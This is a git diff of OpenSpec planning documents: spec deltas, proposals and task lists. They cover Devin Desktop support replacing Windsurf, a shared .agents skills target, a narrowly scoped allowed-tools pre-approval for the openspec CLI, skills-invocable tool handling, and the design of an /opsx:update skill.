commands for Factory Droid +- **WHEN** `.factory/commands/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using the shared Factory templates that include YAML frontmatter for the `description` and `argument-hint` fields +- **AND** ensure the template body retains the `$ARGUMENTS` placeholder so user input keeps flowing into droid +- **AND** update only the content inside the OpenSpec managed markers, leaving any unmanaged notes untouched +- **AND** skip creating missing files during update + +#### Scenario: Updating slash commands for OpenCode +- **WHEN** `.opencode/commands/` contains OpenSpec-managed `opsx-*.md` command files for the configured profile (for example `opsx-propose.md`, `opsx-apply.md`, and `opsx-archive.md`) +- **THEN** refresh each file using shared templates +- **AND** transform command references to hyphen form (for example `/opsx-propose`), as for every tool whose command files are named `opsx-` +- **AND** ensure templates include instructions for the relevant workflow stage +- **AND** ensure the archive command includes `$ARGUMENTS` placeholder in frontmatter for accepting change ID arguments + +#### Scenario: Legacy OpenCode command path cleanup +- **WHEN** a project still has command files under the legacy singular path `.opencode/command/` (for example `opsx-*.md` or `openspec-*.md`) +- **THEN** `openspec init` or legacy cleanup SHALL remove those files and generate replacements under `.opencode/commands/` +- **AND** `openspec update` SHALL NOT refresh files that remain only under `.opencode/command/` + +#### Scenario: Updating slash commands for Windsurf +- **WHEN** the legacy Windsurf location `.windsurf/workflows/`, now Devin's, contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using shared templates wrapped in OpenSpec markers +- **AND** ensure templates include instructions for the relevant workflow stage +- **AND** skip creating missing files (the update command only refreshes what already exists) + +#### Scenario: Updating workflows for Devin Desktop +- **WHEN** Devin Desktop is a configured tool (its `.devin/` directory exists) +- **THEN** write `.devin/workflows/opsx-.md` for each workflow in the active profile, from shared templates +- **AND** emit frontmatter with `name`, `description`, `category`, and `tags` +- **AND** transform command references to hyphen form (for example `/opsx-propose`), the name Devin registers for a workflow file +- **AND** refresh `.devin/skills/openspec-*/SKILL.md` with `/openspec-*` skill references, the one invocation both Devin agents accept + +#### Scenario: Updating slash commands for Kilo Code +- **WHEN** `.kilocode/workflows/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using shared templates wrapped in OpenSpec markers +- **AND** ensure templates include instructions for the relevant workflow stage +- **AND** skip creating missing files (the update command only refreshes what already exists) + +#### Scenario: Updating slash commands for Codex +- **GIVEN** the global Codex prompt directory contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **WHEN** a user runs `openspec update` +- **THEN** refresh each file using the shared slash-command templates (including placeholder guidance) +- **AND** preserve any unmanaged content outside the OpenSpec marker block +- **AND** skip creation when a Codex prompt file is missing + +#### Scenario: Updating slash commands for GitHub Copilot +- **WHEN** `.github/prompts/` contains `openspec-proposal.prompt.md`, `openspec-apply.prompt.md`, and `openspec-archive.prompt.md` +- **THEN** refresh each file using shared templates while preserving the YAML frontmatter +- **AND** update only the OpenSpec-managed block between markers +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Updating slash commands for Gemini CLI +- **WHEN** `.gemini/commands/openspec/` contains `proposal.toml`, `apply.toml`, and `archive.toml` +- **THEN** refresh the body of each file using the shared proposal/apply/archive templates +- **AND** replace only the content between `` and `` markers inside the `prompt = """` block so the TOML framing (`description`, `prompt`) stays intact +- **AND** skip creating any missing `.toml` files during update; only pre-existing Gemini commands are refreshed + +#### Scenario: Updating slash commands for iFlow CLI +- **WHEN** `.iflow/commands/` contains `openspec-proposal.md`, `openspec-apply.md`, and `openspec-archive.md` +- **THEN** refresh each file using shared templates +- **AND** preserve the YAML frontmatter with `name`, `id`, `category`, and `description` fields +- **AND** update only the OpenSpec-managed block between markers +- **AND** ensure templates include instructions for the relevant workflow stage + +#### Scenario: Missing slash command file +- **WHEN** a tool lacks a slash command file +- **THEN** do not create a new file during update diff --git a/openspec/changes/add-devin-desktop-support/specs/command-generation/spec.md b/openspec/changes/add-devin-desktop-support/specs/command-generation/spec.md new file mode 100644 index 0000000000..07ba141aba --- /dev/null +++ b/openspec/changes/add-devin-desktop-support/specs/command-generation/spec.md @@ -0,0 +1,45 @@ +# command-generation Delta Specification + +## MODIFIED Requirements + +### Requirement: ToolCommandAdapter interface + +The system SHALL define a `ToolCommandAdapter` interface for per-tool formatting. + +#### Scenario: Adapter interface structure + +- **WHEN** implementing a tool adapter +- **THEN** `ToolCommandAdapter` SHALL require: + - `toolId`: string identifier matching `AIToolOption.value` + - `getFilePath(commandId: string)`: returns file path for command (relative from project root, or absolute for global-scoped tools like Codex) + - `formatFile(content: CommandContent)`: returns complete file content with frontmatter + +#### Scenario: Claude adapter formatting + +- **WHEN** formatting a command for Claude Code +- **THEN** the adapter SHALL output YAML frontmatter with `name`, `description`, `category`, `tags` fields +- **AND** file path SHALL follow pattern `.claude/commands/opsx/.md` + +#### Scenario: Cursor adapter formatting + +- **WHEN** formatting a command for Cursor +- **THEN** the adapter SHALL output YAML frontmatter with `name` as `/opsx-`, `id`, `category`, `description` fields +- **AND** file path SHALL follow pattern `.cursor/commands/opsx-.md` + +#### Scenario: Windsurf adapter formatting + +- **GIVEN** RETIRED — Windsurf was rebranded to Devin Desktop and its config directory moved +- **WHEN** looking for a Windsurf adapter +- **THEN** none SHALL be registered — it is replaced by the Devin adapter below, not kept alongside a second adapter for the same product + +#### Scenario: Devin Desktop adapter formatting + +- **WHEN** formatting a command for Devin Desktop +- **THEN** the adapter SHALL output YAML frontmatter with `name`, `description`, `category`, `tags` fields +- **AND** file path SHALL follow pattern `.devin/workflows/opsx-.md` + +#### Scenario: Trae adapter formatting + +- **WHEN** formatting a command for Trae +- **THEN** the adapter SHALL output YAML frontmatter with `name` and `description` fields +- **AND** file path SHALL follow pattern `.trae/commands/opsx-.md` diff --git a/openspec/changes/add-devin-desktop-support/tasks.md b/openspec/changes/add-devin-desktop-support/tasks.md new file mode 100644 index 0000000000..c80e2e3280 --- /dev/null +++ b/openspec/changes/add-devin-desktop-support/tasks.md @@ -0,0 +1,44 @@ +# Implementation Tasks + +## 1. Adapter + +- [x] 1.1 Add `src/core/command-generation/adapters/devin.ts`: `.devin/workflows/opsx-.md`, frontmatter `name`/`description`/`category`/`tags` via the shared helpers in `command-generation/yaml.ts`. +- [x] 1.2 Keep the adapter a pure formatter: the `opsx-` filename prefix makes Devin a flat invocation, so the generator rewrites `/opsx:` body references to `/opsx-` — the name Devin registers for a workflow file. +- [x] 1.3 Delete `adapters/windsurf.ts` and its registry/barrel entries; register `devinAdapter` in their place. + +## 2. Tool wiring + +- [x] 2.1 Replace the `windsurf` row in `AI_TOOLS` with `devin` (`skillsDir: '.devin'`, `detectionPaths: ['.devin', '.windsurf']`). Detection, the init picker, `--tools` validation, update, and profile sync all derive from this row. +- [x] 2.2 Add `TOOL_ID_ALIASES` / `resolveToolIdAlias` in `src/core/config.ts` and apply it when parsing `--tools`, so `--tools windsurf` still resolves. +- [x] 2.3 Re-key the pre-opsx `.windsurf/workflows/openspec-*.md` entry in `LEGACY_SLASH_COMMAND_PATHS` to `devin` — that map's keys are tool ids. +- [x] 2.4 In `getTransformerForTool`, give `devin` the skill-reference transformer whenever skills are generated, so skill bodies and the getting-started hint say `/openspec-*` — the Devin Local agent has no workflows. Under commands-only delivery, fall through to the invocation rewrite. + +## 3. Migration + +- [x] 3.1 Replace `LEGACY_SKILLS_DIRS` with `LEGACY_TOOL_ROOTS`, each root carrying whether leaving it needs consent (`.kimi` no, `.windsurf` yes). +- [x] 3.2 Extend the move to command files, deriving the legacy path from the adapter's own `getFilePath` so no layout is hard-coded. Skip absolute paths. +- [x] 3.3 Split find from apply (`findLegacyToolMigrations` / `migrateLegacyToolDirs`) so a consent-gated move can be described before it happens. +- [x] 3.4 `openspec update`: explain the rebrand, prompt interactively, migrate under `--force` or non-interactively, and say plainly what declining costs. +- [x] 3.5 `openspec init`: treat selecting the tool as consent and migrate for the selected tools only. + +## 4. Documentation + +- [x] 4.1 `docs/supported-tools.md`: give Devin its own row in the authoritative "How To Invoke" table — the catch-all row would otherwise claim `/opsx-` for both agents. Replace the Windsurf directory row and rewrite the footnote to cover the rename, the alias, and the migration. +- [x] 4.2 Drop `windsurf` from the `--tools` ID lists in `docs/cli.md` and `docs/supported-tools.md`, noting it is still accepted as an alias. +- [x] 4.3 Update the command-syntax tables in `docs/commands.md` and `docs/how-commands-work.md`, plus prose mentions in `faq.md`, `migration-guide.md`, `opsx.md`, and the website tool list. + +## 5. Tests + +- [x] 5.1 Adapter: tool id, `getFilePath`, and frontmatter. Hyphen rewriting is asserted end to end in the `generateCommand` flat-tool loop, and YAML escaping by the registry-derived parity matrix — both enroll Devin automatically. +- [x] 5.2 Detection: `.devin` and legacy `.windsurf` both resolve to `devin`; neither present means not detected. +- [x] 5.3 Alias: `--tools windsurf` writes `.devin/` and leaves no `.windsurf/`. +- [x] 5.4 Migration: skills and workflows move, user-authored files in `.windsurf/` survive, and a second run migrates nothing. +- [x] 5.5 `init`/`update`: both surfaces — `.devin/workflows/opsx-*.md` carry `/opsx-*`, `.devin/skills/openspec-*/SKILL.md` carry `/openspec-*`, and neither carries `/opsx:`. +- [x] 5.6 `getTransformerForTool` returns the skill transformer for Devin under `both`/`skills` delivery and the hyphen form under `commands`. + +## 6. Verification + +- [x] 6.1 `openspec validate add-devin-desktop-support --strict`. +- [x] 6.2 `openspec archive add-devin-desktop-support --yes` merges cleanly and additively (run on a scratch copy, then reverted). +- [x] 6.3 Full suite green. +- [x] 6.4 Manual journeys in scratch repos: legacy `.windsurf` install upgraded; both directories populated; IDE-written `.devin/rules/` preserved; `--tools windsurf` alias. diff --git a/openspec/changes/add-init-agents-target/.openspec.yaml b/openspec/changes/add-init-agents-target/.openspec.yaml new file mode 100644 index 0000000000..f205fc727f --- /dev/null +++ b/openspec/changes/add-init-agents-target/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-07-29 diff --git a/openspec/changes/add-init-agents-target/proposal.md b/openspec/changes/add-init-agents-target/proposal.md new file mode 100644 index 0000000000..44d6fb57e6 --- /dev/null +++ b/openspec/changes/add-init-agents-target/proposal.md @@ -0,0 +1,33 @@ +## Why + +`.agents/skills` has become the shared, vendor-neutral location modern agent tools read. OpenSpec already carried an `agents` entry in `AI_TOOLS`, but with `available: false` and no `skillsDir` it was unreachable — every real gate keys off `skillsDir`. Teams running several agents on one repo, or a tool with no first-class integration yet, had to generate for some other tool and move the files by hand (#1480), or pick a vendor target they do not use (#1104, #653). + +## What Changes + +- Enable `agents` in `AI_TOOLS` with `skillsDir: '.agents'`, making it selectable interactively and via `--tools agents`. +- Scope detection to `detectionPaths: ['.agents/skills']` so a bare `.agents/` written by another framework does not select — or silently install into — the target. +- Rename the entry to `Shared .agents skills`. The old label said "AGENTS.md", but OpenSpec writes no `AGENTS.md` — it strips its markers out of one. +- Document the target, including when to prefer it over a tool-specific integration. + +## Capabilities + +### New Capabilities + +_None._ + +### Modified Capabilities + +- `ai-tool-paths`: define the `.agents` skills root and its scoped detection path +- `cli-init`: record that the shared target installs skills and skips command generation + +## Impact + +- `src/core/config.ts` - enable the `agents` entry, scope detection, correct the label +- `.changeset/add-agents-tool.md` - minor release note, including the `--tools all` behavior change +- `docs/supported-tools.md`, `docs/cli.md`, `docs/commands.md`, `docs/how-commands-work.md`, `docs/troubleshooting.md` - list `agents` among skills-only tools and explain when to choose it +- `test/core/*`, `test/commands/*`, `test/cli-e2e/*` - cover init, update, detection, and the deprecated alias + +## Non-Goals + +- No command adapter for `agents`. There is no cross-vendor slash-command format, so commands stay skills-only (the Kimi/Hermes pattern). +- No `.pi`, `.codex`, or `.agent` migration into `.agents`. Moving vendor tools to the shared root is separate work (#830, #1157). diff --git a/openspec/changes/add-init-agents-target/specs/ai-tool-paths/spec.md b/openspec/changes/add-init-agents-target/specs/ai-tool-paths/spec.md new file mode 100644 index 0000000000..53c86cbc11 --- /dev/null +++ b/openspec/changes/add-init-agents-target/specs/ai-tool-paths/spec.md @@ -0,0 +1,23 @@ +# ai-tool-paths Delta Specification + +## ADDED Requirements + +### Requirement: Shared .agents skills target + +OpenSpec SHALL provide a vendor-neutral `agents` tool target rooted at the shared `.agents` directory, for assistants that read skills from the shared location rather than a vendor-specific one. + +#### Scenario: Shared agents target paths defined + +- **WHEN** looking up the `agents` tool +- **THEN** `skillsDir` SHALL be `.agents` + +#### Scenario: Detection keys off the shared skills subtree + +- **WHEN** a project contains a `.agents/skills` path +- **THEN** OpenSpec SHALL detect `agents` as an available target + +#### Scenario: A bare shared root does not select the target + +- **GIVEN** a project contains `.agents` but no `.agents/skills` path +- **WHEN** OpenSpec detects available tools +- **THEN** `agents` SHALL NOT be reported as available diff --git a/openspec/changes/add-init-agents-target/specs/cli-init/spec.md b/openspec/changes/add-init-agents-target/specs/cli-init/spec.md new file mode 100644 index 0000000000..d053495c9b --- /dev/null +++ b/openspec/changes/add-init-agents-target/specs/cli-init/spec.md @@ -0,0 +1,20 @@ +# cli-init Delta Specification + +## ADDED Requirements + +### Requirement: Shared .agents target initialization + +`openspec init` SHALL accept the shared `agents` target wherever tool IDs are selected, and SHALL treat it as a skills-only tool. + +#### Scenario: Non-interactive selection of the shared target + +- **WHEN** the user runs `openspec init --tools agents` +- **THEN** OpenSpec SHALL generate skills for the `agents` target +- **AND** initialization SHALL NOT fail because `agents` has no registered command adapter + +#### Scenario: Shared agents target skips command-file generation + +- **GIVEN** the configured delivery includes command generation +- **WHEN** the user selects the shared `agents` target during initialization +- **THEN** command-file generation SHALL be skipped because no `agents` adapter is registered +- **AND** `agents` SHALL be listed among the tools reported as having commands skipped diff --git a/openspec/changes/add-init-agents-target/tasks.md b/openspec/changes/add-init-agents-target/tasks.md new file mode 100644 index 0000000000..ad27c74363 --- /dev/null +++ b/openspec/changes/add-init-agents-target/tasks.md @@ -0,0 +1,21 @@ +## 1. Tests + +- [x] 1.1 Cover `agents` init, update, detection, and the deprecated `experimental --tool` alias +- [x] 1.2 Assert a bare `.agents/` directory does not select the target + +## 2. Registry + +- [x] 2.1 Enable `agents` in `src/core/config.ts` with `skillsDir: '.agents'` +- [x] 2.2 Scope detection with `detectionPaths: ['.agents/skills']` +- [x] 2.3 Rename the entry to `Shared .agents skills` so it names the directory instead of a file OpenSpec never writes + +## 3. Docs + +- [x] 3.1 Add `agents` to the tool ID lists in `docs/cli.md` and `docs/supported-tools.md` +- [x] 3.2 Add the Tool Directory row and the skills-only invocation rows across `docs/supported-tools.md`, `docs/commands.md`, `docs/how-commands-work.md`, and `docs/troubleshooting.md` +- [x] 3.3 Document when to choose the shared target over a tool-specific integration + +## 4. Verification + +- [x] 4.1 Run `pnpm run build` and the full Vitest suite +- [x] 4.2 Validate with `openspec validate --strict`, and confirm `openspec archive` applies cleanly against a scratch copy of `openspec/` diff --git a/openspec/changes/add-skill-cli-auto-approval/proposal.md b/openspec/changes/add-skill-cli-auto-approval/proposal.md new file mode 100644 index 0000000000..5b00f40ead --- /dev/null +++ b/openspec/changes/add-skill-cli-auto-approval/proposal.md @@ -0,0 +1,27 @@ +## Why + +Every generated OpenSpec skill drives the `openspec` CLI (`openspec list`, `status`, `instructions`, …). Today the skill frontmatter never pre-approves those calls, so agents that gate Bash on permission prompt the user on every single `openspec` invocation. The workflow stalls on approvals for a first-party, read-mostly CLI the user already opted into by installing OpenSpec. + +The Agent Skills standard already solves this: an `allowed-tools` frontmatter field pre-approves listed tools while a skill is active. We just aren't emitting it. + +## What Changes + +- Every generated `SKILL.md` gains `allowed-tools: Bash(openspec:*)` in its YAML frontmatter, so agents run `openspec` commands from the skill without prompting. Emitted centrally in `generateSkillContent`, so `init`, `update`, every tool's skills directory, and every current and future skill get it uniformly. +- Claude Code slash commands (`.claude/commands/opsx/*.md`) gain the same field — commands share the skill frontmatter contract, so the same pre-approval applies when a user runs `/opsx:*`. +- Scope is deliberately narrow: only the `openspec` CLI is pre-approved. Per the standard, `allowed-tools` pre-approves rather than restricts — so any other tool a skill or command uses (Read, Write, or arbitrary Bash for builds/tests in `apply`/`onboard`) stays available under the user's normal permission settings, still prompting as before. +- Cross-tool: skills go to every supported tool's skills directory, and `allowed-tools` is an Agent Skills standard field — tools that implement the standard honor it; tools that don't ignore the unknown key. Only the Claude command adapter changes, because no other tool's slash-command format defines a per-command pre-approval field. + +## Capabilities + +### Modified Capabilities + +- `cli-init`: the Skill Generation requirement now specifies the `allowed-tools` pre-approval in generated skill frontmatter. +- `command-generation`: the Claude adapter frontmatter now includes the `allowed-tools` field. + +## Impact + +- `src/core/shared/allowed-tools.ts` — the shared `OPENSPEC_CLI_ALLOWED_TOOLS` constant (single source for both surfaces). +- `src/core/shared/skill-generation.ts` — emit `allowed-tools` in the SKILL.md frontmatter. +- `src/core/command-generation/adapters/claude.ts` — emit `allowed-tools` in the slash-command frontmatter. +- Tests: regenerated golden skill-content hashes; new assertions that every deployed skill and the Claude command format pre-approve the CLI. +- No behavior change for agents that ignore `allowed-tools`; pure upside for agents that honor it. diff --git a/openspec/changes/add-skill-cli-auto-approval/specs/cli-init/spec.md b/openspec/changes/add-skill-cli-auto-approval/specs/cli-init/spec.md new file mode 100644 index 0000000000..750194870e --- /dev/null +++ b/openspec/changes/add-skill-cli-auto-approval/specs/cli-init/spec.md @@ -0,0 +1,28 @@ +## MODIFIED Requirements + +### Requirement: Skill Generation + +The command SHALL generate Agent Skills for selected AI tools. + +#### Scenario: Generating skills for a tool + +- **WHEN** a tool is selected during initialization +- **THEN** create 9 skill directories under `./skills/`: + - `openspec-explore/SKILL.md` + - `openspec-new-change/SKILL.md` + - `openspec-continue-change/SKILL.md` + - `openspec-apply-change/SKILL.md` + - `openspec-ff-change/SKILL.md` + - `openspec-verify-change/SKILL.md` + - `openspec-sync-specs/SKILL.md` + - `openspec-archive-change/SKILL.md` + - `openspec-bulk-archive-change/SKILL.md` +- **AND** each SKILL.md SHALL contain YAML frontmatter with name and description +- **AND** each SKILL.md SHALL contain the skill instructions + +#### Scenario: Pre-approving the OpenSpec CLI in skill frontmatter + +- **WHEN** generating a skill's YAML frontmatter +- **THEN** the frontmatter SHALL include an `allowed-tools` field with the value `Bash(openspec:*)` +- **AND** an agent that honors `allowed-tools` SHALL run `openspec` commands from the skill without prompting for approval +- **AND** because `allowed-tools` pre-approves rather than restricts, any other tool the skill uses SHALL remain available under the user's existing permission settings diff --git a/openspec/changes/add-skill-cli-auto-approval/specs/command-generation/spec.md b/openspec/changes/add-skill-cli-auto-approval/specs/command-generation/spec.md new file mode 100644 index 0000000000..d593b38fa3 --- /dev/null +++ b/openspec/changes/add-skill-cli-auto-approval/specs/command-generation/spec.md @@ -0,0 +1,32 @@ +## MODIFIED Requirements + +### Requirement: ToolCommandAdapter interface + +The system SHALL define a `ToolCommandAdapter` interface for per-tool formatting. + +#### Scenario: Adapter interface structure + +- **WHEN** implementing a tool adapter +- **THEN** `ToolCommandAdapter` SHALL require: + - `toolId`: string identifier matching `AIToolOption.value` + - `getFilePath(commandId: string)`: returns file path for command (relative from project root, or absolute for global-scoped tools like Codex) + - `formatFile(content: CommandContent)`: returns complete file content with frontmatter + +#### Scenario: Claude adapter formatting + +- **WHEN** formatting a command for Claude Code +- **THEN** the adapter SHALL output YAML frontmatter with `name`, `description`, `allowed-tools`, `category`, `tags` fields +- **AND** the `allowed-tools` field SHALL have the value `Bash(openspec:*)` so Claude Code runs `openspec` commands from the slash command without prompting for approval +- **AND** file path SHALL follow pattern `.claude/commands/opsx/.md` + +#### Scenario: Cursor adapter formatting + +- **WHEN** formatting a command for Cursor +- **THEN** the adapter SHALL output YAML frontmatter with `name` as `/opsx-`, `id`, `category`, `description` fields +- **AND** file path SHALL follow pattern `.cursor/commands/opsx-.md` + +#### Scenario: Windsurf adapter formatting + +- **WHEN** formatting a command for Windsurf +- **THEN** the adapter SHALL output YAML frontmatter with `name`, `description`, `category`, `tags` fields +- **AND** file path SHALL follow pattern `.windsurf/workflows/opsx-.md` diff --git a/openspec/changes/add-skill-cli-auto-approval/tasks.md b/openspec/changes/add-skill-cli-auto-approval/tasks.md new file mode 100644 index 0000000000..8650e3c50a --- /dev/null +++ b/openspec/changes/add-skill-cli-auto-approval/tasks.md @@ -0,0 +1,15 @@ +## 1. Implementation + +- [x] 1.1 Add the shared `OPENSPEC_CLI_ALLOWED_TOOLS = 'Bash(openspec:*)'` constant (`src/core/shared/allowed-tools.ts`) and emit `allowed-tools` in the frontmatter built by `generateSkillContent` +- [x] 1.2 Emit the same `allowed-tools` field in the Claude command adapter's frontmatter (`src/core/command-generation/adapters/claude.ts`); other adapters unchanged — no other tool defines a per-command pre-approval field + +## 2. Tests + +- [x] 2.1 Regenerate the golden generated-content hashes in `skill-templates-parity.test.ts` +- [x] 2.2 Add a test asserting every deployed skill's generated content contains `allowed-tools: Bash(openspec:*)` (iterates the registry so new skills are covered) +- [x] 2.3 Assert the Claude adapter output contains the field (`adapters.test.ts`) +- [x] 2.4 Verify end-to-end: `openspec init --tools claude` emits the field in both SKILL.md and `.claude/commands/opsx/*.md`, and it parses as the YAML string `Bash(openspec:*)` + +## 3. Release + +- [x] 3.1 Add a changeset describing the auto-approval diff --git a/openspec/changes/add-tool-command-surface-capabilities/proposal.md b/openspec/changes/add-tool-command-surface-capabilities/proposal.md index c9ad2909cc..33f7605067 100644 --- a/openspec/changes/add-tool-command-surface-capabilities/proposal.md +++ b/openspec/changes/add-tool-command-surface-capabilities/proposal.md @@ -2,13 +2,13 @@ OpenSpec currently assumes command delivery maps directly to command adapters. That assumption does not hold for all tools. -Trae is a concrete example: it invokes OpenSpec workflows via skill entries (for example `/openspec-new-change`) rather than adapter-generated command files. In this model, skills are the command surface. +Some tools expose OpenSpec workflows via skill entries rather than adapter-generated command files. Kimi CLI is a concrete example: it invokes skills with forms such as `/skill:openspec-new-change`. In this model, skills are the command surface. Today, this creates a behavior gap: - `delivery=commands` can remove skills - tools without adapters skip command generation -- result: selected tools like Trae can end up with no invocable workflow artifacts +- result: selected tools like Kimi CLI, ForgeCode, or Mistral Vibe can end up with no invocable workflow artifacts This is more than a prompt UX issue because non-interactive and CI flows bypass interactive guidance. We need a capability-aware model in core generation logic. @@ -25,9 +25,13 @@ Add an optional field in tool metadata to describe how a tool exposes commands: Field should be optional. Default behavior is inferred from adapter registry presence: tools with a registered adapter resolve to `adapter`; tools with no adapter registration and no explicit annotation resolve to `none`. Capability values use kebab-case string tokens for consistency with serialized metadata conventions. -Initial explicit override: +Initial explicit overrides: -- Trae -> `skills-invocable` +- ForgeCode -> `skills-invocable` +- Kimi CLI -> `skills-invocable` +- Mistral Vibe -> `skills-invocable` + +Trae no longer belongs in this override set once its `.trae/commands/opsx-.md` adapter is available; it should resolve to `adapter` like other file-backed command integrations. ### 2. Make delivery behavior capability-aware @@ -62,12 +66,12 @@ Update summaries to show effective delivery outcomes per tool (for example, when ### 4. Update docs and tests -- document capability model and Trae behavior under delivery modes +- document capability model and skills-invocable behavior under delivery modes - ensure CLI docs and supported-tools docs reflect effective behavior - add test coverage for: - - `init --tools trae` with `delivery=commands` - - `update` with Trae configured under `delivery=commands` - - mixed selections (`claude + trae`) across all delivery modes + - `init --tools kimi` with `delivery=commands` + - `update` with Kimi CLI configured under `delivery=commands` + - mixed selections (`claude + kimi`) across all delivery modes - explicit error path for tools with no command surface under `delivery=commands` ### 5. Coordinate with install-scope behavior @@ -94,7 +98,7 @@ Implementation tests should cover mixed-tool matrices to ensure deterministic be ## Impact -- `src/core/config.ts` - add optional command-surface metadata and Trae override +- `src/core/config.ts` - add optional command-surface metadata and skills-invocable tool overrides - `src/core/command-generation/registry.ts` (or shared helper) - capability inference from adapter presence - `src/core/init.ts` - capability-aware generation/removal planning + compatibility validation + summary messaging - `src/core/update.ts` - capability-aware sync/removal planning + compatibility validation + summary messaging diff --git a/openspec/changes/add-tool-command-surface-capabilities/tasks.md b/openspec/changes/add-tool-command-surface-capabilities/tasks.md index 0f2679b833..6a6b0b1b9f 100644 --- a/openspec/changes/add-tool-command-surface-capabilities/tasks.md +++ b/openspec/changes/add-tool-command-surface-capabilities/tasks.md @@ -9,7 +9,7 @@ - [ ] 1.1 Extend tool metadata in `src/core/config.ts` with an optional command-surface capability field - [ ] 1.2 Define supported capability values: `adapter`, `skills-invocable`, `none` -- [ ] 1.3 Mark Trae as `skills-invocable` +- [ ] 1.3 Mark known skills-invocable tools such as ForgeCode, Kimi CLI, and Mistral Vibe as `skills-invocable` - [ ] 1.4 Add a shared capability resolver (explicit metadata override first, inferred fallback from adapter presence second) - [ ] 1.5 Add focused unit tests for capability resolution (explicit override, inferred adapter, inferred none) @@ -20,7 +20,7 @@ - [ ] 2.3 In `delivery=commands`, fail fast before writes when any selected tool resolves to `none` - [ ] 2.4 Update init output to clearly report effective behavior for `skills-invocable` tools (skills used as command surface) - [ ] 2.5 Ensure init no longer reports "no adapter" for tools intentionally using `skills-invocable` -- [ ] 2.6 Add/adjust init tests for `delivery=commands` + `trae` (skills retained/generated, no adapter error), mixed tools (`claude,trae`) with per-tool expected outputs, and deterministic failure path for unsupported command surface (`none`) +- [ ] 2.6 Add/adjust init tests for `delivery=commands` + `kimi` (skills retained/generated, no adapter error), mixed tools (`claude,kimi`) with per-tool expected outputs, and deterministic failure path for unsupported command surface (`none`) ## 3. Update: Capability-Aware Sync and Drift Detection @@ -30,7 +30,7 @@ - [ ] 3.4 Update profile/delivery drift detection to avoid perpetual drift for `skills-invocable` tools under commands delivery - [ ] 3.5 Ensure configured-tool detection still includes `skills-invocable` tools under commands delivery when managed skills exist - [ ] 3.6 Update summary output so skills-invocable behavior is reported as expected behavior (not implicit skip/error) -- [ ] 3.7 Add/adjust update tests for `delivery=commands` + configured Trae (skills retained/generated), idempotent second update (no false drift loop), mixed configured tools (`claude` + `trae`), and deterministic preflight failure for unsupported command surface (`none`) +- [ ] 3.7 Add/adjust update tests for `delivery=commands` + configured Kimi CLI (skills retained/generated), idempotent second update (no false drift loop), mixed configured tools (`claude` + `kimi`), and deterministic preflight failure for unsupported command surface (`none`) ## 4. UX and Error Messaging @@ -40,7 +40,7 @@ ## 5. Documentation Updates -- [ ] 5.1 Update `docs/supported-tools.md` to document command-surface semantics for Trae and clarify delivery interactions +- [ ] 5.1 Update `docs/supported-tools.md` to document command-surface semantics for skills-invocable tools and clarify delivery interactions - [ ] 5.2 Update `docs/cli.md` delivery guidance to explain capability-aware behavior for `delivery=commands` - [ ] 5.3 Add a short troubleshooting note for "commands-only + unsupported tool" failures @@ -49,5 +49,5 @@ - [ ] 6.1 Run targeted tests: `test/core/init.test.ts` and `test/core/update.test.ts` - [ ] 6.2 Run any new capability/unit test files added in this change - [ ] 6.3 Run full test suite (`pnpm test`) and resolve regressions -- [ ] 6.4 Manual smoke check: `openspec init --tools trae` with `delivery=commands` -- [ ] 6.5 Manual smoke check: mixed tools (`claude,trae`) with `delivery=commands` +- [ ] 6.4 Manual smoke check: `openspec init --tools kimi` with `delivery=commands` +- [ ] 6.5 Manual smoke check: mixed tools (`claude,kimi`) with `delivery=commands` diff --git a/openspec/changes/add-update-workflow/.openspec.yaml b/openspec/changes/add-update-workflow/.openspec.yaml new file mode 100644 index 0000000000..34f9314d22 --- /dev/null +++ b/openspec/changes/add-update-workflow/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-06-29 diff --git a/openspec/changes/add-update-workflow/design.md b/openspec/changes/add-update-workflow/design.md new file mode 100644 index 0000000000..3dd6ca53a3 --- /dev/null +++ b/openspec/changes/add-update-workflow/design.md @@ -0,0 +1,116 @@ +# Design: `/opsx:update` — a thin update skill + +## Context + +OPSX models a change as a small DAG of planning artifacts. Each schema declares artifacts with `requires` edges ([schemas/spec-driven/schema.yaml](../../../schemas/spec-driven/schema.yaml)); `ArtifactGraph` ([src/core/artifact-graph/graph.ts](../../../src/core/artifact-graph/graph.ts)) topologically sorts them, and `openspec status --change --json` already reports, per artifact: its `status` (`done`/`ready`/`blocked`), its `outputPath`, and — via the top-level `artifactPaths` map — its `resolvedOutputPath` and `existingOutputPaths`, plus the change's `schemaName` and `isComplete`. The two path fields differ in a way that matters for a write operation: `existingOutputPaths` is the concrete files that exist on disk (for a glob artifact such as `specs/**/*.md`, the glob already expanded to real files); `resolvedOutputPath` is the change-dir-joined declared path, which for a glob artifact is still the glob (`.../specs/**/*.md`) and is therefore **not** a write target. `/opsx:update` edits the files in `existingOutputPaths`. `openspec list --json` lists changes by recency. + +That is everything an update skill needs. The artifacts are a handful of markdown files on disk; the agent can read them. So `/opsx:update` is built as a thin skill over the **existing** CLI, in the same shape as `continue-change.ts` (select change → `openspec status --json` → act). + +This proposal began larger — a reverse-dependency graph API, content digests, a baseline ledger, a `reconcile` write op, a `status --impact` selector. Review feedback ([PR #1278](https://github.com/Fission-AI/OpenSpec/pull/1278)) was that this over-builds: coding agents tend to over-complicate skills, and the feature should work off the existing `status` command with as little new code as possible. This design follows that steer. + +## Goals / Non-Goals + +**Goals** +- A `/opsx:update` action that revises a change's existing planning artifacts and keeps them coherent with one another. +- Drive it from the artifact set and paths the CLI already reports — zero hardcoded artifact names — so custom schemas work. +- Edit planning artifacts only; never touch code. Confirm every edit with the user. +- Add as little code as possible: one skill template, no changes to the graph engine, the `status` command, or the metadata schema. + +**Non-Goals** +- A new top-level `openspec update*` CLI verb (name is taken; see Naming). +- Automatic, unattended regeneration (the user always confirms). +- Content digests, a drift/staleness signal, a baseline ledger, a `reconcile` op, or a `status --impact` selector (see "Why not the heavier machinery"). +- Regenerating *code* from updated artifacts — that is `/opsx:apply`'s job; `/opsx:update` stops at the plan and hands off. +- Cross-change audit ([#247](https://github.com/Fission-AI/OpenSpec/issues/247) in full) — a later proposal; this change is intra-change. +- Updating 